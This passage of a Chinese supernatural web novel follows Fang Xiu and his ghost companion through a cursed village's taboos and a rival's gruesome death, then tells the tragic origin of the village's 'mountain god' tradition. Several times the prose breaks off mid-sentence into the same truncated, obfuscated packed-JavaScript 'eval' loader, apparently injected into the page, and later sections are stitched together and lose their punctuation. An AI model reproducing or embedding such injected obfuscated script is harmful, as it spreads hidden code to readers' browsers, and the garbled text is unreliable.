那名为“白双影”的异物将他彻底包裹。它淌进他的耳朵,流入他的口腔,却没有像液体那样断开。方休能感受到它在他的喉咙里蠕动,顺着食管与气管漫流。 感觉像呛水,他本能地想要咳嗽,然后发现自己并没有窒息。 肩膀脱臼依旧严重,疼痛却变得遥远。那是一种近乎死亡的麻木,带着诡异的失重感。方休婴儿般蜷缩身体,放任对方将他淹没,如同接纳一个拥抱。 由内而外的畸形拥抱。 【你左胳膊废了。】白双影的声音直接钻进他的脑子,痒痒的。 他的鬼执意跟进来,果然有话要说。 【没事。】方休在心中想道,【我留心了一路。无论四爷那组人还是山混子,他们身上都没有半新不旧的伤。】 【我猜等我们回到解厄塔,伤病会立刻消失。那边房间没厕所,饭是供品。地府应该只抓了我们的生魂,这具身体算是临时容器。】 白双影:【确实如此。】 【你一开始就知道?】方休轻咬口中液团,它软乎乎的,没什么味道。 【你一开始又没问。】白双影无所谓道,【哪怕这肉身只是容器,该死还是会死。你我利益一体,不要鲁莽行事。】 【一条胳膊够用,我有数。我不会连累你。】方休连忙表示。 【嗯。】 …… 棺桶颠簸许久,盖子再打开时,方休被光照得瑟缩了下。 白双影轻盈地溢出棺桶,恢复了那副面如冠玉的艳鬼模样。方休一只手扒上棺沿,狠狠松了口气。 “太好了,原来你可以自己恢复。”他情真意切道,“我还在想怎么把衣服里的你拧出来……” 白双影转过脸,不理他。 方休动动身体,伤口处的疼痛缓慢回归,好在最难捱的时段已经过了。 “刚才多谢了。”方休说。 白双影皱眉:“没什么可谢。你的伤势还是原样,不要误判。” 他的鬼情绪真的很直接。比如方休能分辨,这会儿白双影并非关心他的伤口,而是警告他不要草率作死,省得他俩一起倒霉。 一直以来,白双影对他的态度就像人类对待流浪猫,还是谈不上心善的那种人类。 心情好时摸两把,看个乐子。心情不好时,会觉得被缠上很麻烦。 只有一点是确定的,无论这只猫境况多么糟糕,这个人都不会真的把它带回家。就算知道它死了,也最多遗憾几分钟……或者几秒钟? “……花。”突然,白双影冲他伸手。 方休:“?” “那朵纸花还在棺底,捡一下。”白双影说,“你我的庙会还没结束。” 方休笑弯了眼:“好嘞。” ……他知道厉鬼没有人心,其实他们无法成为真正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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山混子绕着成松云走了圈:“我倒是一直注意着,这妹子没做啥特别的事。要不留着她问问,让方小兄弟先进?” “不!”成松云下意识出口,“我去就我去,要是方休出事,我什么都不会说!” 说完她又看向方休。方休没阻止她,他只是嘴角动了动,似乎对她的反应一点都不意外。 方休说,会保证自己活下来。 其实成松云不太信这句话。但只要方休活着找到“厄”,其他人都能得救,她被利用也情愿。 三人目送中,成松云走入祠堂。她后脚刚进门槛,门再次嘭地关上。 看到身体畸形的成松云,福老儿脸上的笑意瞬间消失。它站在原地一动不动,周遭阴气翻滚,气温急速下降。 成松云缩起脖子,飞快打量四周。 祠堂两边桌子彻底空了,上面堆了许多纸张。墙壁上也贴满白纸,写着密密麻麻的倒福字。那副对联就在眼前,她终于看清了完整的字句。 【可怜弃儿如敝履】 【飞升仙家着青襟】 确认完状况,成松云转身就逃。 祠堂内阴风大作,满墙纸张被吹得猎猎作响。福老儿手中蜡烛火焰转青,它全身关节喀喀抽动,一张脸眼缝下弯口缝上弯,做出一副哀相。 “福倒(dǎo)了。”福老儿寒声重复,像是在诅咒。 “福倒了,福倒了,福——倒——了——” 可是直到成松云离开,它什么都没做,只是恶狠狠地瞪着成松云的背影。 就像在畏惧着什么一样。 23.西边坟地 成松云推门出来时,整个人都是懵的。见她毫发无伤,山混子咦了声,倒是四爷若有所思地摸起下巴。 三人围观下,成松云结结巴巴描述了祠内情况。她一边说,一边拿眼看方休,然而方休一直保持沉默。 他做出一副冥思苦想的模样,手指悄悄玩弄白双影的袖角。 其实他确实在思考一个难题—— 白双影从非牛顿流体变成人,衣服是跟着变的,怪不得手感这样奇妙。既然衣服是白双影的一部分,那它有没有触觉? 轻轻捏一捏,白双影没反应。 再捏一捏,白双影好像还是没反应。 捏到第三下的时候,白双影不动声色地伸出手,捏了下方休的耳垂。 ……看来有点触觉,邪祟死物学可真神奇。方休暗暗惊叹。 “哈!”不知过了多久,四爷一敲掌心,“我知道第三条禁忌咋回事了。” 山混子:“就剩这么点人了,赶紧分享分享。” 眼下人手确实堪忧,四爷迟疑两秒,还是开了口—— “我听说搞山神祭祀,人得模仿山神打扮。” 四爷指指成松云,“她变得和神像一样,准是指代‘活祭’。活祭属于嵬山神,福老儿自然不敢动。” 山混子:“咋个说法?” “第三条禁忌,不许伤害活祭。”四爷沉声说。 方休貌似惊讶地咳了声,眨眨眼睛。 “姓方的说,消极工作的‘客人’会被选为活祭。那女的不清楚,大夫看守看得稀烂,这一位刚摔了咱的吃食,个个废得要死。” 四爷继续道。 “再说那女的被一剑穿心,大夫吊死。要是他们犯忌,死法该一样。事实上,只有杀女的那人死法邪门,变成了肉酱——是他伤害活祭,犯了忌。” “……对得上,全对得上!肯定是活祭的怨念催生了‘厄’!” 四爷说着激动起来,唾沫星子溅出老远:“他妈的,可算让我抓到因果了。” 方休小声:“明明有保护村民的禁忌……” “保护?” 四爷斜眼瞧他,“村民日常吃喝,得抢嵬山神供品。‘厄’禁了偷抢争斗,没法搞别人的,想吃饭必须渎神。” “多狠呐。也就是这帮邪祟不吃人饭,把咱思路全带歪了。” 山混子嘻嘻笑:“按这说法,西边坟地挨嵬山最近,阴气又重,正适合活祭。要是朝西走到头,鬼打墙没覆盖坟地……” “那就证明‘厄’在坟地。”四爷一摆手,“走,我知道怎么解鬼打墙。” “了不得。” 山混子呲起牙,两只小眼睛精光闪烁。 “不过成妹子暴露身形,当着福老儿的面跳了难关。咱们再破了鬼打墙,福老儿准知道咱有发现。” “到时它会不管不顾追杀咱们,开弓没有回头箭呐。” “为什么,它们不是得模仿村民吗?”快乐围观的方休终于开口。 山混子似笑非笑地瞥他:“不能免费告诉你。” 方休:“……” 可恶,回旋镖打人还挺疼。 不过没关系,山混子很快就会自愿告诉他。 …… 众人一路到达西侧边缘,居然没碰到任何邪祟。鬼打墙尽头只有虚无的黑暗,不见祠堂不见鬼摊,也不见坟地。 成松云不习惯多出来的肢体,走得气喘吁吁:“西、西边不该最危险吗?” 方休一脸严肃地凑近,成松云打了个激灵,竖起耳朵。 方休:“成姐你不怎么玩游戏吧。” 方休:“一般没有小怪的特殊地图,大家都叫它‘BOSS房’。” 成松云:“……” 这么久没交流,你就想说这个? 她畏惧地望向那片黑暗。山混子说得对,一旦他们破了鬼打墙,福老儿绝不会坐视不管。 方休的活祭猜想是谎言,四爷在此基础上的推测,肯定也是错的。 ……就这么直接行动,真的没问题吗? “你走前头。”四爷推搡成松云,“剩下的人抓着她的衣服跟上。” 方休伸出唯一完好的手臂,乖顺照做。 成松云悄悄叹气,牙一咬心一横,踏入了那片黑暗。 果然,鬼打墙没为难“尊贵的活祭”。没走几步路,众人眼前豁然开朗。 他们面前无疑是嵬山村坟地。 阴雨连绵,坟地显得尤为阴森。墓碑密密麻麻挤在一起,其间满是野草与泥泞。不远处的嵬山在雨幕中若隐若现,压迫感让人窒息。 众人踩上坟地的那一刻,村庄上空响起一声凄厉而愤怒的尖啸。 方休听得出,那是福老儿的声音。 “被发现了,快快快!” 四爷拽着他们穿过重重墓碑,直冲坟地最西侧。 这里离嵬山最近,挤着一众拱形石碑。石碑有新有旧,碑上一片空白。 它们混在村民五花八门的墓碑里,实在谈不上显眼。方休上次逛坟地时,也是很仔细才注意到。 “我之前看过。只有这里的死人没名字,肯定埋的是‘客人’。” 四爷指指其中十座墓碑,“……这些个埋的是活祭。” 比起其他无名碑,这十座墓碑明显高一头,做工更精细。 “活祭属于神,村民不会乱动他们的物品,‘厄’绝对在棺材里。”四爷快速解释,猛推成松云,“从石碑最新那个开挖,快!” 第三条禁忌不允许伤害活祭,不会有新的活祭下葬。 一切水到渠成,完美符合他的推论,四爷表情逐渐红润。 嵬山村上空的鬼啸还在继续,成松云手足无措。都这种时候了,继续瞎搞真的没问题? “快挖吧成姐。时间不多了,听指挥比较好。”这一回,方休直视成松云的双眼。 成松云深吸一口气,双手挖向泥土。 坟地里阴气汹涌,幽魂疯了一样朝他们扑来。更远处,高大的鬼影越聚越多。 四爷抬起护臂,弹飞袭来的游魂。山混子攥起拳头,念念有词,几只无头大鬼从泥地钻出,护在众人另一侧。 方休……方休正倚靠着白双影,两人一起看成松云挖土。 成松云:“……” 白双影:“……” 方休跟白双影咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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山混子扭头看四爷,四爷一把抓住那个头骨。 方休早有准备地探出身体,右手伸向四爷。 成松云失去平衡,倒向地面。 ……咚的一声闷响,成松云坐在地上。 下个瞬间,她被四散的碎肉溅了一脸。它们温温热热,散发出新鲜的肉腥气。 山混子瞪大眼睛,方休翘起嘴角——四爷那串绑了五个玉佛的挂坠,正被方休稳稳攥在手中。 四爷消失了,只留下满地肉酱和法器碎片。 时间仿佛静止,雨水轻轻打在碎肉上。 “之前说了,他们想用我试禁忌,那我也拿他们试禁忌。” 方休戴好玉佛,朝白双影笑了笑,“终于让我试完啦。” “第一禁,村内食水不可入口,祭品除外。” “第二禁,不得伤害此地村民,自卫除外。” “……第三禁,不许冒犯嵬山山神,山神除外。” 24.山神之始 方休顺手捡起洛阳铲,绕着四爷牌肉酱画了个不完整的圈。接着他摘下发丝指环,埋入缺角处。 方休只剩一条手臂,动作有些吃力。但他的表情很专注——脚边纸钱被雨水打湿,附近厉鬼嘶叫不止,似乎都是无关紧要的事情。 “白双影,好戏到最后了,要不要边吃点心边看?” 做完这一切,方休兴高采烈地说。 白双影欣然应邀。 他反手抽出四爷的生魂,就近找了个墓碑坐下。生魂化作三个乳白色光团,被他牢牢抱在怀里,那姿势如同抱着爆米花看电影。 白双影扭了一小块入口,滋味果真丰富,看来这位四爷背了不少人命血债。 “很好吃。”白双影心情大好,微笑着向方休反馈。 “爱吃多吃,以后还有。”方休抹抹鼻子,看起来十分满足。 说罢,方休转向成松云:“成姐,摸摸尸体的手,东西应该在那附近。” 成松云几乎无法思考,机械地照做。 一上手摸,她才发觉不对。这具骸骨肩部关节分叉,颈骨旁边有个明显的增生,像是个未长成的头颅。 紧接着,她确实在尸骸的手中摸到了什么。 尸骸三只手拢在胸口,看姿态,死者死时无比珍重地握着它。 那是颗阴寒无比的珠子。它约莫弹珠大小,颜色黑红,脏兮兮的毫无光泽。 成松云没什么玄学知识,但这东西一入手,连她都能感受到它的特殊。 ……这就是嵬山村的“厄”。 对了,要尽快破坏“厄”。 成松云举起洛阳铲,朝那颗珠子狠狠一拍。只听一声脆响,洛阳铲震了震,珠子毫发无伤,半点痕迹都没有留下。 方休走到无措的成松云面前,弯腰拾起珠子。他仔细瞧了半天,还特地嗅了嗅。 “好小子——!” 见找到了“厄”,山混子嘎嘎大笑,“就知道你憋着坏水儿,不错,你很不错!” 他摸出一根写满经文的布条,随手一甩。那布条延展而开,自行成环,围出一个闪烁金光的防护圈。 邪祟们被挡在外面,只能反复冲击那片金光。 “这功德绫能顶半小时。来,东西给我。” 山混子伸手,“要破坏‘厄’,必须搞清它的本体,再对症下药。咱没时间研究,我这有三昧真火符,能把它强行烧掉。” “不。”方休果断拒绝,“四爷那么着急抢,亲手破坏‘厄’一定有好处。” 山混子眼珠子转了圈,突然换了话题:“行吧,你先说说刚才咋回事?” “照你的意思,变异人不是活祭,而是嵬山神……他们怎么就成了嵬山神?” “麦子告诉我们保命经验,大夫主动提供食物和治疗,成姐总是站出来护着人……他们坚持善待他人,然后都变成了神像的模样。” 方休理直气壮,“如果一个东西长得像神,行为像神,冒犯了会出事,那不就是神吗?” 山混子:“?” 不是,神像都长那样了,你就默认它是善神? “可见成为嵬山神没那么复杂,多积德就行。祠堂明晃晃写着‘诸恶莫作,众善奉行’呢。” 方休停顿片刻,“这里的邪祟异常敬神,说明对‘厄’而言,嵬山神这个概念非常重要……成姐他们不是犯忌,只是成为了禁忌的一部分。” 山混子咂摸了会儿,没咂摸出谎言的味道。 原来成神得积德,怪不得方休由着成松云当神。这小子就没干几件人事,别说“厄”,他这个恶人都看不下去。 想到这,山混子悄悄瞄向防护圈。邪祟冲击下,他的法宝报废大半,金光黯淡了许多。 山混子不着痕迹地收回视线,又斜眼看成松云:“那‘冒犯嵬山神’又咋说,四爷没把她怎样吧?之前推她都没事。” “成姐确实是嵬山神。”方休说,“不过,坟里那位也是嵬山神。” 山混子震惊:“死的都算?我当初拿走麦子的法器……” “‘厄’只认死理,它不会分辨动机。” “它只知道,乱扔礼物、纵火烧屋、偷盗财产……干这种一听就很无礼的事,那就是伤害。” 方休看向敞开的棺桶,雨水打上那具骸骨,骨头变得湿淋淋的。 “麦子没下葬。你取走麦子的法器,却没有弄乱尸身。它分不清这是偷窃,还是帮她收拾遗体——这种模棱两可的行为,不会犯忌。” “但是挖坟弃尸,绝对算冒犯。” 听到“挖坟”二字,成松云打了个抖。 “没事的成姐。”方休转头安慰她,“大夫切自己肢体都没事,嵬山神自带豁免。” “可是我们拿到厄也弄不坏,怎么办……” 成松云不明白这两人为什么还能安心聊天。外头邪祟疯狂攻击防护圈,这才五六分钟,布条的金光已经要消失了。 福老儿扒在防护圈边缘,离他们不过十几步远。它脸上的细缝全部张成圆洞,身上的福字寿衣从黑底变成了大红底。 “福倒了——”它凄厉地叫道。 “咱们得快点!”成松云不敢再看,着急地提醒方休。 方休却像没听见。他摩挲着胸口玉佛,继续和山混子扯皮:“既然还有时间,我有两个问题想问。作为交换,我会把厄给你处理。” 山混子暗自骂了声麻烦。 要不是这小子戴了玉佛,成松云又有禁忌庇护,他早下手杀人了。偏偏现在他一个都动不得,还得搁这谈判。 不过无所谓,他早就做了计划。 他说法宝能顶半小时,其实它只能撑一刻钟不到。到时防线崩得猝不及防,方休要想活命,必须把厄交给他处理。 喜欢骗人是吧?对付这种兔崽子,就该打乱他的节奏,不留任何思考时间。 “第一个问题,为什么邪祟执着于模仿村民?” 方休对逼近的危险浑然不觉,问得很平静。 方休居然还惦记着这个问题,山混子心想。挺好的,正适合分散这小子的注意力。 “人成仙,得修功德。鬼成仙,则要修厄——邪祟修不了正道,只能捡现成的。” “‘厄’这东西就像顶尖仙器,如果没认主,拿着也没用。但要是认了主,那想咋用就咋用。” 山混子又瞄了眼防护圈,故意放慢语气。 “邪祟不通人性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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刚才他嗅到了淡淡的香精味。一个美好故事的遗产,果然不会太糟。 伴随着福老儿惊怒交加的咆哮,厄在方休唇齿间碎裂。以方休为中心,周遭卷起猛烈的阴气风暴,让人动弹不得。 风暴掀动着棺中的书本与纸张,一张朽坏的纸被阴风吹起,飞出棺外。 白双影稳坐墓碑上,长发并未被阴风吹动。他低下头,看着那张陪葬纸页。 它落入泥地,逐渐被雨水浸湿。上面的字迹有些模糊,内容依稀可辨。 君知山鬼亦为神,嵬山崖下木森森。 可怜弃儿如敝履,飞升仙家着青襟。 童男童女村中客,祠内祠外座上宾。 扶善惩恶如明鉴,从此公道见人心。 ——嵬山村村长孙如意赠嵬山神。 方休则用另一种方式看见了这首诗。 咬碎厄的瞬间,其上承载的无数因果涌入脑海——它的诞生,它的记忆,以及因缘起始的那一天。 恍惚间,方休听见了盛夏蝉鸣。 第 25 章 山神之末 第25章山神之末 【莫回头。】 方休面前,还是村西的坟地。 这显然是另一个时间点 “若有人兮山之阿,被薜荔兮带女萝……后面、后面忘了。” 一个扎着羊角辫的小姑娘在坟地里穿行嘴里背着诗句,手里还提着蚂蚱笼子。 她看着也就七八岁身边还有两个男孩。一个男孩看着最年长一个比她小,鼻子底下还拖着鼻涕。 他们衣服破旧补丁叠补丁,看着是几十年前的款式。 坟地里虫子不多,三个小孩一路朝嵬山下的树林子跑。没过几分钟,就听女孩一声尖叫。 “鬼啊——!” 年长的男孩立刻护在前面三个孩子都看清了那只“鬼”的正体。 那是个畸形的男孩。 他长着两条多余的手臂脊柱弯曲。五官各自为政,看起来相当吓人。 畸形儿身上只有几块烂布,皮肤上满是血迹与青紫,貌似刚被人打了一顿。他蜷缩在地上,身体时不时抽搐,像条格外丑陋的肉虫。 年长的男孩松了口气:“妮儿没事,是村里不要的孩子。肯定是叫人撞见嫌弃晦气,顺手给揍了。” “不要的孩子?”女孩好奇道,“哥啥是不要的孩子?” 哥哥挠了挠后脑勺:“记得隔壁婶子哭吗?她上个月刚生了个。咱们村每年都有这样的小孩很多生下来就是死的。” “雨水多的年份,这种怪胎特别多。爷爷说是雨下得太勤村里阴气重。” “那这个为啥不要呀他不还活着吗?”女孩指着草丛里的畸形儿。 “养不起咯。”哥哥学着大人的口吻“爷爷说有人舍不得扔也最多养到二十出头大部分十几岁就**。” “长得吓人还命短大家都觉得晦气。再说咱们村儿不宽裕谁家供得起呀。不如装个缸送走放外头靠天养。” 女孩:“哦我记得。” 她比划了一下“我在婶子家看见了那么大的缸里头还放了吃的。” 哥哥严肃点头:“对对就是那个。” “不过婶子的孩子肯定没了我前几天在林子里瞧见了那口缸臭死个人。” 说到这三个小孩沉默了会儿。 女孩看了看窝在地上的孩子那孩子不会说话肩膀一抽一抽的好像在哭。 于是她又想了想:“村里每家出口饭不就能养活他了吗?被爸爸妈妈扔掉还要挨打多可怜。” “隔壁婶子哭得可伤心了哭了好几天呢。”她补充。 “又没啥理由,大家凭啥给他饭吃啊? “吃饭,吃饭。弟弟口齿不清地重复。 三个孩子又在草丛里沉默地蹲了会儿。 “我想到了。女孩绷紧一张小脸,“他们都说晦气,咱们就说这孩子是香瑞……那个,祥瑞之兆!咱们三个一起说,就说看到他会飞。 哥哥:“…… 哥哥:“会飞太夸张了,就说他发光。 弟弟:“发光!发光! “又会飞又发光。女孩觉得自己聪明极了,“那群爷爷奶奶最信这个,肯定会给他一口饭吃。 哥哥想法更现实,可惜现实得有限:“那咱们带他去找村长,让村长帮我们说话,绝对好使。 “对对,还得有证据。女孩掏遍身上的口袋,找到一颗糖。 糖果包着鲜艳的红色糖纸,端端正正印着“双喜硬糖。这可是个稀罕东西,爸爸妈妈去镇上吃喜酒,专门带回来几颗。 糖球圆溜溜的,透着漂亮的明红色,她看了又看,一直舍不得吃。 最终,女孩还是依依不舍地剥开糖果,把糖球塞给了畸形的孩子。 “拿好了,这是你的神奇内丹。她语气很严肃,也不管对方能不能听懂。 那畸形儿似懂非懂地抓紧糖球,没有松开。 …… 嵬山村的村长是个和气的中年男人,个头很矮。孩子们都知道,村长是村子里唯一的老师。 开始听三个孩子胡诌八扯,村长脸上止不住地笑。可是看到那畸形儿身上的伤,村长的笑容慢慢消失了。 他打了盆水,轻轻给那孩子擦拭身体,又拿了瓶红药水出来处理伤口。畸形儿全身是伤,瘦得只剩骨架,肋骨高高凸起。 村长看得眉头紧皱,止不住叹气。 “村长信了,村长肯定信了。女孩对哥哥攥拳,“咱们两个真厉害。 弟弟小声:“三个,三个。 “你们的想法很有意思,这事儿……唉,我早该想办法的。 安顿好那个孩子,村长摸了摸他们的头,“放心吧,我会告诉村里人,这些孩子是山鬼的孩子。 “山鬼的孩子并不晦气。他们只要吃点供奉,就能带来好福气。 “山鬼好难听。女孩嘟囔,“村长你不是才教过我们吗,山鬼就是山神…… 村长终于笑了,眼角笑出很深的皱纹。 “你说得对,那就山神。他的语气很柔和,“他们都是山神的孩子。 女孩满意了:“他还带了神奇内丹呢!那是个大宝贝,村长你可别弄丢了。 “知道了,记得回去背诗 。” 次日早上村长真的向全村人说了这个消息还提到了那孩子挨打的事情。 当场就有一部分村民跳出来说这纯粹是胡诌。两百多年来村里人一直采嵬山石做砚台半个山神都没见过。 还有一部分村民无法接受大家一直嫌弃怪胎晦气怎么突然就变了说法? 但更多的人保持了沉默表示愿意提供一点供品。其中竟然有隔壁婶子女孩瞪着她满脸惊讶的神色。 “婶子不是从来不信鬼神吗?因为这个她还和爷爷吵过架。”女孩一只手拉着弟弟一只手使劲拽哥哥的胳膊。 哥哥想了好久:“可能她只是看不下去了。” 至于看不下去什么他没有说。 那孩子在村长家住下。他吃百家饭长大长高了变壮了学会了说话和写字。 可是他仍没有自己的名字村里人都开玩笑地叫他嵬山神。语气有善意的也有恶意的。 他知道自己其实不是嵬山神。他还知道其实村里人也知道他不是嵬山神。 至于那颗糖果他把它放入小木盒藏在床底最深的角落活像那真的是什么神仙内丹。 一切的一切只是个颇为粗糙的谎言。 又一个畸形儿出生那孩子长了四条腿却只有一只眼睛。村长还没来得及反应他先站了出来。 “我可以帮忙写信、读书。”他说“我能挣钱我来养她。” “我的供品分给她吃别扔了她。” 就这样从他离开嵬山脚下到他安然离世一共过了十年。 临死之前他把床底下的盒子找出来交给刚满七岁的畸形女孩。女孩身后还跟着两个畸形儿也就三四岁的模样。 这些年他一直教她读书认字她比当年的他要好得多。 “你是下一任嵬山神盒子里是山神的内丹千万保管好。”他说。 女孩眨着唯一的眼睛疑惑地看着他。 垂死的嵬山神笑了:“但你要记住你其实不是嵬山神那东西也不是内丹。” “好好活着别辜负村里人。” “你也别哭了。”他对床头另一个女孩说道。 当年给他糖的女孩子今年刚刚十八岁。她叫孙如意是他的恩人。 十年间他和三兄妹成为了很好的朋友。此刻他很开心 孙如意还在哭她的兄弟在身边劝怎么也劝不住。 她的兄弟们眼眶也红红的这要怎么劝得住? 【君知山鬼亦为神嵬山崖下木森森。】 …… 第二任嵬山神于七岁上任。 一年年过去 除了第一任留下的两个孩子她又收养了三个畸形儿。 人太多不适合再住在村长家。村里人决定每家出点力额外盖一栋房子。 “嵬山神住的那可是神祠啊。” 老村长笑起来眼下他的头发白了大半“奇哉怪哉咱们嵬山村居然有祠堂了。” 从此嵬山神住进了祠堂。她白天帮村民写信教畸形儿认字。晚上 村里有了更年轻的老师老村长不再教书。闲暇时间他会专门过来教孩子们读诗。 但是很快嵬山神碰到了新难题。 大点的畸形儿念书早启蒙也早。最年长的孩子知道自己注定活不长久开始憎恨健康的村民。 他冲送供品的人们大吵大闹撕碎弟弟妹妹的书本还偷村里人的柴刀。终于在他尝试用刀袭击老村长后第二任嵬山神暴怒了。 她把他狠揍一顿直接赶出了村子。 “这不是恩将仇报吗?”她怒气冲冲地骂。 “别气啦生气伤身。”老村长包着纱布和和气气地说“哪里都一样没法子保证所有人都是好人。” 嵬山神想了想:“这样下去不行得想个办法。” 几天后第二任嵬山神找到老村长。 “我想到办法了。就按您之前的说法我们都是山神的孩子。” “长成这样是因为山神的孩子不适应凡人身体;早早死去是要回归仙界当仙童……我是嵬山神我的话他们会听。” “我会让心最好、最明理的孩子继任嵬山神。我只会把真相告诉他一个人。” 她编织了新的谎言。 畸形儿仍旧短寿但他们可以更开心地活着不必再因为绝望而犯错。 老村长笑了笑容有些发苦。 他面前的“嵬山神”不过只是个十六岁的少女。 “好。”他拍拍她的肩膀“这是个好故事把它写下来吧。” 嵬山神立刻找来纸和笔一字一句地写起来—— 【嵬山神乃嵬山之神由嵬山村供奉。】 【身体异变者为山神之子于嵬山村做客。】 【山神之子须在人间历练期满便可归山。品行端正者自有嵬山神上身为下一任嵬山神。】 看起来干巴巴的。她回忆书本又默了两句老村长教过的话。 【勿以恶小而为之勿以善小而不为。】 “以理服人不够要奖惩得当。” 老村长笑着旁观“如果这些孩子做了坏事你打算怎么罚?” 嵬山神眼睛一亮:“我可以偷偷藏点苦山药。” “那是嵬山上的野草抹在身上特别痒但不伤身。 再有人使坏,我就给他抹一点,说是嵬山神降下惩罚……哦对。 她拿起笔,又添了一句。 【不可冒犯嵬山神,冒犯者必遭厄运。】 “我得吓吓他们。她气呼呼地说。 就这样,她写完了嵬山神的故事。 她死于十七岁,对于畸形儿来说,这是个平常的寿数。临死之际,她真的没有选择最年长的孩子,而是选了德行最好的。 她给了他装着糖果的木盒,告诉他所有的真相。 “你是下一任嵬山神,盒子里是山神的内丹,千万保管好。她说。 “但你要记住,你其实不是嵬山神。 她下葬的那一天,二十八岁的孙如意从外地赶了回来,还带回两块漂亮的墓碑。 自从有了山神之说,村里的人喜欢把畸形儿埋在坟墓最西边。嵬山村不缺石匠,他们做了许多简陋石牌,权当这些孩子的墓碑。 很多孩子生下来就是死胎,没有名字。石匠觉得不太吉利,索性不刻什么字。 孙如意赠的两块墓碑,上面同样没有字。 “墓碑不能刻神名,我能理解,但为什么不刻生卒年月?弟弟问她。 “嵬山神是不死的。孙如意说。 【君知山鬼亦为神,嵬山崖下木森森。】 【可怜弃儿如敝履,飞升仙家着青襟。】 …… 第三任嵬山神十二岁上任,手下的孩子变成了六个。 他尽职地教孩子们读书写字,给孩子们讲述嵬山神的故事。老村长去世,嵬山村的新村长人也不错,很支持他的工作。 数年后,嵬山村暴雨不停,闹了水灾。 嵬山神遇见了前所未有的麻烦—— 村里开始有人欺负畸形儿,动手的大多是同龄的健全孩子。 他们故意把人撞倒,在祠堂附近里藏钉子。有些还装作不小心,带着刀刃和孩子们擦肩而过,留下一道道血口。 有些畸形儿开始抑郁,他们天天躲在祠堂里,不说话也不出门。还有些变得暴躁,干脆和村里孩子打了起来,险些闹出人命。 为了安抚村人情绪,嵬山神和村长打了个商量。 村长明面上说驱逐,暗地把记恨村子的畸形儿送到嵬山。嵬山上有几间废弃的采石屋,勉强能住人。 但这不是长久之计。 第三任嵬山神决定咨询孙家。第二任告诉过他,孙家三兄妹都是很可靠的人。 听完事情原委,孙家大哥直接抓来个欺负人的孩子,要他当面解释。 面对形貌可怖的嵬山神,那孩子当场就哭了:“他们凭什么呀! “我每天天不亮就起来打猪草,忙到天黑才睡觉。他们天生短命很可怜,我也很 可怜啊!” “他们除了念念书,什么都不做!爸妈还非要出口饭食供他们,我自个儿都吃不饱!” 孙家大哥有点尴尬:“瞎说,人家也挣了钱……” “你敢说他们没白吃饭吗?你敢说吗?”那孩子大声哭叫。 第三任嵬山神陷入沉思。 嵬山村雨水多,总能见着灾年,他们不能一直躺在村民的善心上过活。畸形儿做不了体力活,那就只能从脑力上费费工夫了。 于是他帮村里人写了更多的信,托人去镇上买了更多的书。他要孩子们多懂些道理,帮村里更多的忙。 可惜做好准备的时候,他已然奄奄一息。 “你们要多读点书,读有用的书。” 他弯起畸形的胳膊,拉住第四任嵬山神的手,“咱们不认父母、没有私情,最适合主持公道……村里老师不够,你们也要教村里的孩子……” 他给了他装着糖果的木盒,殷殷嘱托:“记住,你不是嵬山神。但你要做个称职的嵬山神……” 他也死在了十七岁的那一年。那一年,孙如意三十三岁。 她在外面做生意,赚了不少钱。这次回来奔丧,她给家里很大一笔钱,又请人做了无字墓碑。 “以后嵬山神的墓碑,咱们家来买,也算一份善缘。”她说。 【君知山鬼亦为神,嵬山崖下木森森。】 【可怜弃儿如敝履,飞升仙家着青襟。】 【童男童女村中客,祠内祠外座上宾。】 …… 第四任嵬山神十四岁上任,他没有辜负上一任的嘱托。 嵬山村偏僻,村民习惯自己解决**。村里鸡毛蒜皮不断,一旦两边起了火气,很容易打个头破血流。 嵬山神插手后,事情好了许多。 这一任的嵬山神脑子聪明,从小就开始看法律。他凡事讲得头头是道,能把人说得心服口服。现在村民们会一同去祠堂说理,不至于见血。 农忙时节,村民们也会把孩子托给祠堂,让畸形儿带孩子读书——“山神的孩子”不止教识字,还会教算数呢。 嵬山神二十三岁时,村里出了第一位大学生。 整个嵬山村敲锣打鼓,鞭炮齐鸣。作为大学生曾经的老师之一,嵬山神笑得很开心。 老村长乐得合不拢嘴。他挑了个好日子,特地把乡亲们叫到一起。 “要不我们弄个庙会吧,就当敬山神。”他激动地比划着,“每年都搞一搞,搞个七天七夜!” 村子宽裕了一些,大家都答应得很爽快。 然而庙会第六天,嵬山神病了,病到无法下床。 他听着庙会热热闹闹的音乐,脸上带着笑容。当天,他叫来继任者,把装糖果的 小木盒交给了她。 时间过了太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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年轻人都去了镇上。他们说镇上的工作更多镇上的学校更好——这些年嵬山村出了不少大学生谁都晓得读书有用。 不少老人也跟着儿孙去镇上住只在节日时带孩子祭祖。他们都说外头过得好人都长寿了不少。 神奇的是年轻人搬走后生下的畸形儿越来越少。到第十任嵬山神时竟然一个畸形儿都没再降生。 如今,嵬山村常住人口只剩一小半。 村里几乎看不见年轻人了,居民大多是些恋旧的老年人,比如孙如意。 孙如意哥哥弟弟都没了,她本人倒是村里少见的寿星,一路活到七十八岁。她不再是村长,但还是常常探望年少的嵬山神。 没有小孩要教,没有公道要判,第十任嵬山神很清闲。她带着她的小木盒,干脆搬进了孙如意家里。 一老一少没事干,每天看书读报,过得像亲祖孙。 